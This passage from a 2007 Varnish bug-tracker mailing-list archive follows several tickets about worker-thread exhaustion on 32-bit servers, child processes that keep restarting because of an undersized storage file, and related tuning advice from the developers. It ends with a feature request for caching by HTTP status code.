checking, its size is still 512M (in case varnish would try and make it grow or something). The command-line parameter I'm passing at the moment is plain "-s file,/var/lib/varnish/varnish_storage.bin" without the size, so that it uses the existing file as-is, which is seems to be doing. Right now, I'm pushing about 90Mbps, with no problem (yet), thus here are the workers : {{{ 233 0.00 0.25 N worker threads 331 0.00 0.36 N worker threads created 0 0.00 0.00 N worker threads not created }}} Oh, errors started to appear now : {{{ 244 0.00 0.24 N worker threads 342 0.00 0.34 N worker threads created 434 0.00 0.43 N worker threads not created }}} I don't know how to read the varnishhist graph yet, but here it is : {{{ Max 596 Scale 667 Tot: 2000 | | | | || || ||| ||| ||| ||| ||| ||| |||| |||| |||| |||| |||||| |||||||||||| | # ################## # # ## +---------+---------+---------+---------+---------+---------+---------+----- |1e-5 |1e-4 |1e-3 |1e-2 |1e-1 |1e0 |1e1 |1e2 }}} -- Ticket URL: Varnish The Varnish HTTP Accelerator From varnish-bugs at projects.linpro.no Fri Feb 16 12:55:17 2007 From: varnish-bugs at projects.linpro.no (Varnish) Date: Fri, 16 Feb 2007 12:55:17 -0000 Subject: [Varnish] #85: High number of "worker threads not created" and "overflowed work requests" In-Reply-To: <077.1a21cea4431778b5dc11622bbecd6eea@projects.linpro.no> References: <077.1a21cea4431778b5dc11622bbecd6eea@projects.linpro.no> Message-ID: <086.1aa0e0d1b779a5cbc689f82823764fe6@projects.linpro.no> #85: High number of "worker threads not created" and "overflowed work requests" ----------------------+----------------------------------------------------- Reporter: Thias | Owner: phk Type: defect | Status: new Priority: normal | Milestone: Component: varnishd | Version: 1.0 Severity: normal | Resolution: Keywords: | ----------------------+----------------------------------------------------- Comment (by phk): Varnishhist shows you the time from reception of request to ready to send answer in seconds for hits and misses. Left hand side is 1e-5 [s] = 10 microseconds, right hand side is 1e2 [s] = 100 seconds. The graph you show there is close to perfect. Try setting the maximum number of threads to 230 so that varnish doesn't waste time trying to create more threads that won't fit, and then keep an eye on varnishhist to see if your responsetime suffers. Also, consider running varnishd with '-d -d' option during testing like this, it will give you a hand CLI to query/change parameters on the fly and additional debug messages as well. Poul-Henning -- Ticket URL: Varnish The Varnish HTTP Accelerator From varnish-bugs at projects.linpro.no Fri Feb 16 13:01:29 2007 From: varnish-bugs at projects.linpro.no (Varnish) Date: Fri, 16 Feb 2007 13:01:29 -0000 Subject: [Varnish] #85: High number of "worker threads not created" and "overflowed work requests" In-Reply-To: <077.1a21cea4431778b5dc11622bbecd6eea@projects.linpro.no> References: <077.1a21cea4431778b5dc11622bbecd6eea@projects.linpro.no> Message-ID: <086.977a417b1ed63d8d70c71f5d5691a9e9@projects.linpro.no> #85: High number of "worker threads not created" and "overflowed work requests" ----------------------+----------------------------------------------------- Reporter: Thias | Owner: phk Type: defect | Status: new Priority: normal | Milestone: Component: varnishd | Version: 1.0 Severity: normal | Resolution: Keywords: | ----------------------+----------------------------------------------------- Comment (by des): Your varnishhist(1) output shows that most hits are processed in 10 to 100 ?s and misses in 1 to 100 ms, and the hitrate looks good. If I read your varnishstat(1) output correctly, your server delivers around 4 MB of data per second, plus protocol overhead, which is quite a lot (~40-50 Mbps sustained). I would recommend switching to a 64-bit CPU (and OS) to get around the address space limitation. If that really isn't an option, you can cap the number of worker threads with -w (e.g. -w20,200) to silence the error messages. -- Ticket URL: Varnish The Varnish HTTP Accelerator From varnish-bugs at projects.linpro.no Fri Feb 16 13:08:01 2007 From: varnish-bugs at projects.linpro.no (Varnish) Date: Fri, 16 Feb 2007 13:08:01 -0000 Subject: [Varnish] #85: High number of "worker threads not created" and "overflowed work requests" In-Reply-To: <077.1a21cea4431778b5dc11622bbecd6eea@projects.linpro.no> References: <077.1a21cea4431778b5dc11622bbecd6eea@projects.linpro.no> Message-ID: <086.491861f5a97d1972416ebe86d69e28af@projects.linpro.no> #85: High number of "worker threads not created" and "overflowed work requests" ----------------------+----------------------------------------------------- Reporter: Thias | Owner: phk Type: defect | Status: new Priority: normal | Milestone: Component: varnishd | Version: 1.0 Severity: normal | Resolution: Keywords: | ----------------------+----------------------------------------------------- Comment (by Thias): After "stabilizing" some real production traffic to the varnish server, it's pushing between 100 and 160Mbps on it's public interface, and getting between 10 and 30Mbps from the backend on its private interface. Not bad... but : When I see the "Create worker thread failed 12 Cannot allocate memory" appear (I'm running "varnishlog -i Debug" to catch those), the outbound traffic drops to 30-60Mbps, and a test to a web page shows that all images are loading very slow. Those requests are unfortunately not just "a bit slow" *sigh* I've now tried passing -w1,230,120 but although I now don't get to see the errors, things stop working properly after a while in a similar way, and "worker threads limited" and "overflowed work requests" start to increase a lot : {{{ 230 0.00 1.54 N worker threads 230 0.00 1.54 N worker threads created 0 0.00 0.00 N worker threads not created 16672 534.92 111.89 N worker threads limited 93 -29.88 0.62 N queued work requests 16902 534.92 113.44 N overflowed work requests 9044 0.00 60.70 N dropped work requests }}} If the 32bit limitations aren't going to get worked around anytime soon, I'll definitely try to get my hands on a 64bit machine to do some more testing, although that won't be so easy... -- Ticket URL: Varnish The Varnish HTTP Accelerator From varnish-bugs at projects.linpro.no Fri Feb 16 13:17:30 2007 From: varnish-bugs at projects.linpro.no (Varnish) Date: Fri, 16 Feb 2007 13:17:30 -0000 Subject: [Varnish] #85: High number of "worker threads not created" and "overflowed work requests" In-Reply-To: <077.1a21cea4431778b5dc11622bbecd6eea@projects.linpro.no> References: <077.1a21cea4431778b5dc11622bbecd6eea@projects.linpro.no> Message-ID: <086.128064d06bdf9944b0acce8abbec1043@projects.linpro.no> #85: High number of "worker threads not created" and "overflowed work requests" ----------------------+----------------------------------------------------- Reporter: Thias | Owner: phk Type: defect | Status: new Priority: normal | Milestone: Component: varnishd | Version: 1.0 Severity: normal | Resolution: Keywords: | ----------------------+----------------------------------------------------- Comment (by phk): Thread pileups like that can be caused by slow responses from the backend. Right now we don't have a traffic-shaping facility on the backend (as in "don't hit this backend with more than 100 connections at the same time") but we probably need that down the line. Keep an eye on the number of backend connections when these pileups happen, if the backend connections increase dramatically that's the root cause. There really isn't any way we can work around the 32 bit issue, it's a deliberate choice we made in the design, and a significant part of the reason why Varnish is so fast as it is. I realize that for you or anybody else, getting a 64 bit machine online will be a hazzle, but in the big scheme of things, all server cpu's you can buy today do 64bit mode, so it is mostly a transition issue. I promise you won't be disappointed about Varnish' performance on 64 bit, it's worth it. Poul-Henning -- Ticket URL: Varnish The Varnish HTTP Accelerator From varnish-bugs at projects.linpro.no Fri Feb 16 13:56:28 2007 From: varnish-bugs at projects.linpro.no (Varnish) Date: Fri, 16 Feb 2007 13:56:28 -0000 Subject: [Varnish] #84: High number of "dropped work requests" In-Reply-To: <077.3b092db9553d8cae3fda11cee29510bd@projects.linpro.no> References: <077.3b092db9553d8cae3fda11cee29510bd@projects.linpro.no> Message-ID: <086.6d9515eed3e550a49589b3d21f55b2b1@projects.linpro.no> #84: High number of "dropped work requests" ----------------------+----------------------------------------------------- Reporter: Thias | Owner: phk Type: defect | Status: closed Priority: high | Milestone: Component: varnishd | Version: 1.0 Severity: normal | Resolution: duplicate Keywords: | ----------------------+----------------------------------------------------- Changes (by des): * status: new => closed * resolution: => duplicate Comment: The comment you quote from redhat/varnish.initrc is incorrect, the packager misunderstood something which was a little unclear in the documentation. Anyway, I'll close this as it seems to be a duplicate of #85 which has a better analysis of the problem. -- Ticket URL: Varnish The Varnish HTTP Accelerator From varnish-bugs at projects.linpro.no Fri Feb 16 13:57:03 2007 From: varnish-bugs at projects.linpro.no (Varnish) Date: Fri, 16 Feb 2007 13:57:03 -0000 Subject: [Varnish] #85: High number of "worker threads not created" and "overflowed work requests" In-Reply-To: <077.1a21cea4431778b5dc11622bbecd6eea@projects.linpro.no> References: <077.1a21cea4431778b5dc11622bbecd6eea@projects.linpro.no> Message-ID: <086.8c482eb84546c77724f9a3a8607f3607@projects.linpro.no> #85: High number of "worker threads not created" and "overflowed work requests" ----------------------+----------------------------------------------------- Reporter: Thias | Owner: phk Type: defect | Status: new Priority: normal | Milestone: Component: varnishd | Version: 1.0 Severity: normal | Resolution: Keywords: | ----------------------+----------------------------------------------------- Comment (by Thias): The backend server is 64bits, so I've just installed varnish there after switching the backend web daemon (lighttpd) to listen on the loopback, port 81. I'm seeing other issues now. Should I open a separate bug report? Or maybe better : Post on one of the mailing-lists? -- Ticket URL: Varnish The Varnish HTTP Accelerator From varnish-bugs at projects.linpro.no Fri Feb 16 13:58:21 2007 From: varnish-bugs at projects.linpro.no (Varnish) Date: Fri, 16 Feb 2007 13:58:21 -0000 Subject: [Varnish] #85: High number of "worker threads not created" and "overflowed work requests" In-Reply-To: <077.1a21cea4431778b5dc11622bbecd6eea@projects.linpro.no> References: <077.1a21cea4431778b5dc11622bbecd6eea@projects.linpro.no> Message-ID: <086.43b731e292d432b45d2b14bef504663f@projects.linpro.no> #85: High number of "worker threads not created" and "overflowed work requests" ----------------------+----------------------------------------------------- Reporter: Thias | Owner: phk Type: defect | Status: new Priority: normal | Milestone: Component: varnishd | Version: 1.0 Severity: normal | Resolution: Keywords: | ----------------------+----------------------------------------------------- Comment (by phk): start another ticket for that. Poul-Henning -- Ticket URL: Varnish The Varnish HTTP Accelerator From varnish-bugs at projects.linpro.no Fri Feb 16 14:04:33 2007 From: varnish-bugs at projects.linpro.no (Varnish) Date: Fri, 16 Feb 2007 14:04:33 -0000 Subject: [Varnish] #78: URLS without trailing / direct to backend . In-Reply-To: <077.5efa7663912c67ccf38afa67fa7389d5@projects.linpro.no> References: <077.5efa7663912c67ccf38afa67fa7389d5@projects.linpro.no> Message-ID: <086.0e3fd47ee1d06a2d8d949e2fe647862e@projects.linpro.no> #78: URLS without trailing / direct to backend . ----------------------+----------------------------------------------------- Reporter: kevinm | Owner: des Type: defect | Status: assigned Priority: high | Milestone: Component: varnishd | Version: Severity: major | Resolution: Keywords: | ----------------------+----------------------------------------------------- Comment (by des): Do you mean that the '''client''' gets a redirect from {{{http://url.com/folder}}} to {{{http://url.com:/folder}}}? Varnish itself does not issue redirects, so you'll have to look at your backend server's configuration. -- Ticket URL: Varnish The Varnish HTTP Accelerator From varnish-bugs at projects.linpro.no Fri Feb 16 14:05:50 2007 From: varnish-bugs at projects.linpro.no (Varnish) Date: Fri, 16 Feb 2007 14:05:50 -0000 Subject: [Varnish] #84: High number of "dropped work requests" In-Reply-To: <077.3b092db9553d8cae3fda11cee29510bd@projects.linpro.no> References: <077.3b092db9553d8cae3fda11cee29510bd@projects.linpro.no> Message-ID: <086.7cac2e43cb3930b240e84bfda4164494@projects.linpro.no> #84: High number of "dropped work requests" ----------------------+----------------------------------------------------- Reporter: Thias | Owner: phk Type: defect | Status: closed Priority: high | Milestone: Component: varnishd | Version: 1.0 Severity: normal | Resolution: duplicate Keywords: | ----------------------+----------------------------------------------------- Comment (by Thias): I'm not sure this is the same problem as #85 since before updating to svn trunk, things were simply not working, and with the default settings, only one worker thread was being created it seems. Anyway, if that comment is incorrect, you should : * Remove it from redhat/varnish.sysconfig in svn trunk * Re-enable the relevant bit from redhat/varnish.initrc in svn trunk -- Ticket URL: Varnish The Varnish HTTP Accelerator From varnish-bugs at projects.linpro.no Fri Feb 16 14:12:09 2007 From: varnish-bugs at projects.linpro.no (Varnish) Date: Fri, 16 Feb 2007 14:12:09 -0000 Subject: [Varnish] #85: High number of "worker threads not created" and "overflowed work requests" In-Reply-To: <077.1a21cea4431778b5dc11622bbecd6eea@projects.linpro.no> References: <077.1a21cea4431778b5dc11622bbecd6eea@projects.linpro.no> Message-ID: <086.5199397abb111a2085c610a39af3224c@projects.linpro.no> #85: High number of "worker threads not created" and "overflowed work requests" ----------------------+----------------------------------------------------- Reporter: Thias | Owner: phk Type: defect | Status: new Priority: normal | Milestone: Component: varnishd | Version: 1.0 Severity: normal | Resolution: Keywords: | ----------------------+----------------------------------------------------- Comment (by des): I'd prefer to discuss it on the mailing list, and open a ticket if / when we identify an actual bug or shortcoming. -- Ticket URL: Varnish The Varnish HTTP Accelerator From varnish-bugs at projects.linpro.no Fri Feb 16 14:16:08 2007 From: varnish-bugs at projects.linpro.no (Varnish) Date: Fri, 16 Feb 2007 14:16:08 -0000 Subject: [Varnish] #87: Main varnish child gets spawned again and again Message-ID: <077.891375cfd6f6dbb94246c2c9f1ff0e3a@projects.linpro.no> #87: Main varnish child gets spawned again and again ----------------------+----------------------------------------------------- Reporter: Thias | Owner: phk Type: defect | Status: new Priority: normal | Milestone: Component: varnishd | Version: trunk Severity: normal | Keywords: ----------------------+----------------------------------------------------- Hi, After all the hassles on a 32bit server (found in bug #85), I've installed varnish on the 64bit backend server I was using. Quick details : * RHEL4 x86_64 w/ Linux 2.6.9-42.0.2.ELsmp * Same varnish package, but recompiled for x86_64 * Varnish listening on 0.0.0.0:80 * Lighttpd listening on 0.0.0.0:81 Everything is "running", but the main varnish child seems to exit after a few seconds (less than 10), and a new one is immediately spawned. So things are working, but nearly no cache is kept. I can see the counter on the top line of varnishstart start over after 2 to 10 seconds : {{{ 00:00:02 Hitrate ratio: 10 100 991 Hitrate avg: 0.3979 0.4211 0.4395 491 139.54 245.50 Client connections accepted 1472 714.65 736.00 Client requests received 501 295.03 250.50 Cache hits 0 0.00 0.00 Cache hits for pass 971 419.62 485.50 Cache misses }}} As you can see, it reports varnishd running for 2s, while the hitrate has the proper value since the start. All other values below can be seen "negative" during one refresh, then start increasing again from zero, until the next "reset". I can clearly see a different varnish child each time this happens : {{{ 742 ? Ss 0:00 /usr/sbin/varnishd 4254 ? Sl 0:00 \_ /usr/sbin/varnishd }}} {{{ 742 ? Ss 0:00 /usr/sbin/varnishd 4330 ? Sl 0:00 \_ /usr/sbin/varnishd }}} I don't see anything special from "varnishlog -i Debug". What should I run to find the cause of this problem? -- Ticket URL: Varnish The Varnish HTTP Accelerator From varnish-bugs at projects.linpro.no Fri Feb 16 14:23:07 2007 From: varnish-bugs at projects.linpro.no (Varnish) Date: Fri, 16 Feb 2007 14:23:07 -0000 Subject: [Varnish] #87: Main varnish child gets spawned again and again In-Reply-To: <077.891375cfd6f6dbb94246c2c9f1ff0e3a@projects.linpro.no> References: <077.891375cfd6f6dbb94246c2c9f1ff0e3a@projects.linpro.no> Message-ID: <086.5aa7c4b89b792343008f99ecdff07cd1@projects.linpro.no> #87: Main varnish child gets spawned again and again ----------------------+----------------------------------------------------- Reporter: Thias | Owner: phk Type: defect | Status: new Priority: normal | Milestone: Component: varnishd | Version: trunk Severity: normal | Resolution: Keywords: | ----------------------+----------------------------------------------------- Comment (by Thias): Just ran varnish with -d -d and got this : {{{ [...] Child cleaned start child pid 16459 Child said (2, 16459): <> Child said (2, 16459): <> Child said (2, 16459): <> Cache child died pid=16459 status=0x6 Clean child Child cleaned start child pid 16557 Child said (2, 16557): <> Child said (2, 16557): <> Child said (2, 16557): <> Cache child died pid=16557 status=0x6 Clean child Child cleaned start child pid 16650 Child said (2, 16650): <> Child said (2, 16650): <> [...] }}} The previous "service varnish start" reported : {{{ Feb 16 14:46:47 files02 varnishd: pclose=0 Feb 16 14:46:47 files02 varnishd: file /var/lib/varnish/varnish_storage.bin size 20480000 bytes (5000 fs-blocks, 5000 pages) Feb 16 14:46:47 files02 varnishd: Using old SHMFILE Feb 16 14:46:47 files02 varnish: varnishd startup succeeded }}} So I get it... the storage file is only 20M... I somehow thought I had set it to 2GB... -- Ticket URL: Varnish The Varnish HTTP Accelerator From varnish-bugs at projects.linpro.no Fri Feb 16 14:27:21 2007 From: varnish-bugs at projects.linpro.no (Varnish) Date: Fri, 16 Feb 2007 14:27:21 -0000 Subject: [Varnish] #87: Main varnish child gets spawned again and again In-Reply-To: <077.891375cfd6f6dbb94246c2c9f1ff0e3a@projects.linpro.no> References: <077.891375cfd6f6dbb94246c2c9f1ff0e3a@projects.linpro.no> Message-ID: <086.d7ca6d84188817bbd4e82e34e3424c29@projects.linpro.no> #87: Main varnish child gets spawned again and again ----------------------+----------------------------------------------------- Reporter: Thias | Owner: phk Type: defect | Status: new Priority: normal | Milestone: Component: varnishd | Version: trunk Severity: normal | Resolution: Keywords: | ----------------------+----------------------------------------------------- Comment (by Thias): Things seem to be working fine now that I've set it to "4G". You might want to handle this error more gracefully somehow.. You might also want to update the included redhat/varnish.sysconfig and set the size example to something like "1G" or "200M" instead of the current "10240000" (10M, which I've mistaken for 1G). Sorry for the noise, and thanks for all your help :-) -- Ticket URL: Varnish The Varnish HTTP Accelerator From varnish-bugs at projects.linpro.no Mon Feb 19 15:33:33 2007 From: varnish-bugs at projects.linpro.no (Varnish) Date: Mon, 19 Feb 2007 15:33:33 -0000 Subject: [Varnish] #67: All varnish-child-processes dies In-Reply-To: <077.067db0f778d30e7d6a816827c924caee@projects.linpro.no> References: <077.067db0f778d30e7d6a816827c924caee@projects.linpro.no> Message-ID: <086.36d78f5bfb0658da91ffd4638af22b10@projects.linpro.no> #67: All varnish-child-processes dies ----------------------+----------------------------------------------------- Reporter: ay | Owner: phk Type: defect | Status: new Priority: high | Milestone: Component: varnishd | Version: Severity: major | Resolution: Keywords: | ----------------------+----------------------------------------------------- Comment (by Thias): I'm seeing a similar problem. The varnish child process dies after a few minutes. Here is what I see when I run varnish with -d -d : {{{ start CLI start child pid 31181 200 0 Child said (2, 31181): <> Child said (2, 31181): <> Child said (2, 31181): <> Cache child died pid=31181 status=0x6 Clean child Child cleaned start child pid 31715 Child said (2, 31715): <> Child said (2, 31715): <> }}} This is with a 512M storage file. When I had set the storage file to be only 10M by mistake, I was seeing the same problem, but every 2 to 10 seconds! So I'd suspect that varnish has some problem when the "cache is full" or something. This can be seen in bug #87, which is possibly a duplicate of this one. -- Ticket URL: Varnish The Varnish HTTP Accelerator From varnish-bugs at projects.linpro.no Mon Feb 19 15:58:48 2007 From: varnish-bugs at projects.linpro.no (Varnish) Date: Mon, 19 Feb 2007 15:58:48 -0000 Subject: [Varnish] #70: Assert error in smf_alloc(), storage_file.c line 624 In-Reply-To: <077.5d707c10c4f3a8a5db4a882901663cb3@projects.linpro.no> References: <077.5d707c10c4f3a8a5db4a882901663cb3@projects.linpro.no> Message-ID: <086.526e98765f9da5e2e465c63bc0bdca45@projects.linpro.no> #70: Assert error in smf_alloc(), storage_file.c line 624 ----------------------+----------------------------------------------------- Reporter: mark | Owner: phk Type: defect | Status: new Priority: normal | Milestone: Component: varnishd | Version: 1.0 Severity: normal | Resolution: Keywords: | ----------------------+----------------------------------------------------- Comment (by Thias): This seems to be a probiem similar to the one from bug #67. -- Ticket URL: Varnish The Varnish HTTP Accelerator From varnish-bugs at projects.linpro.no Mon Feb 19 16:00:50 2007 From: varnish-bugs at projects.linpro.no (Varnish) Date: Mon, 19 Feb 2007 16:00:50 -0000 Subject: [Varnish] #87: Main varnish child gets spawned again and again In-Reply-To: <077.891375cfd6f6dbb94246c2c9f1ff0e3a@projects.linpro.no> References: <077.891375cfd6f6dbb94246c2c9f1ff0e3a@projects.linpro.no> Message-ID: <086.90db71054a0922ae80e0335d82fbc3c4@projects.linpro.no> #87: Main varnish child gets spawned again and again ----------------------+----------------------------------------------------- Reporter: Thias | Owner: phk Type: defect | Status: new Priority: normal | Milestone: Component: varnishd | Version: trunk Severity: normal | Resolution: Keywords: | ----------------------+----------------------------------------------------- Comment (by Thias): This seems to have already been reported as #67 and #70. -- Ticket URL: Varnish The Varnish HTTP Accelerator From varnish-bugs at projects.linpro.no Wed Feb 21 15:51:56 2007 From: varnish-bugs at projects.linpro.no (Varnish) Date: Wed, 21 Feb 2007 15:51:56 -0000 Subject: [Varnish] #88: Support for http status codes in vcl Message-ID: <077.9c83ec1b497b45e5a616b17fe6f982fe@projects.linpro.no> #88: Support for http status codes in vcl -------------------------+-------------------------------------------------- Reporter: stonor | Owner: phk Type: enhancement | Status: new Priority: normal | Milestone: Component: varnishd | Version: Severity: normal | Keywords: -------------------------+-------------------------------------------------- It would be great if you could set cache conditions based on specific http status codes from the backend server. We have a setup where we don't want to cache redirects or error pages. -- Ticket URL: Varnish The Varnish HTTP Accelerator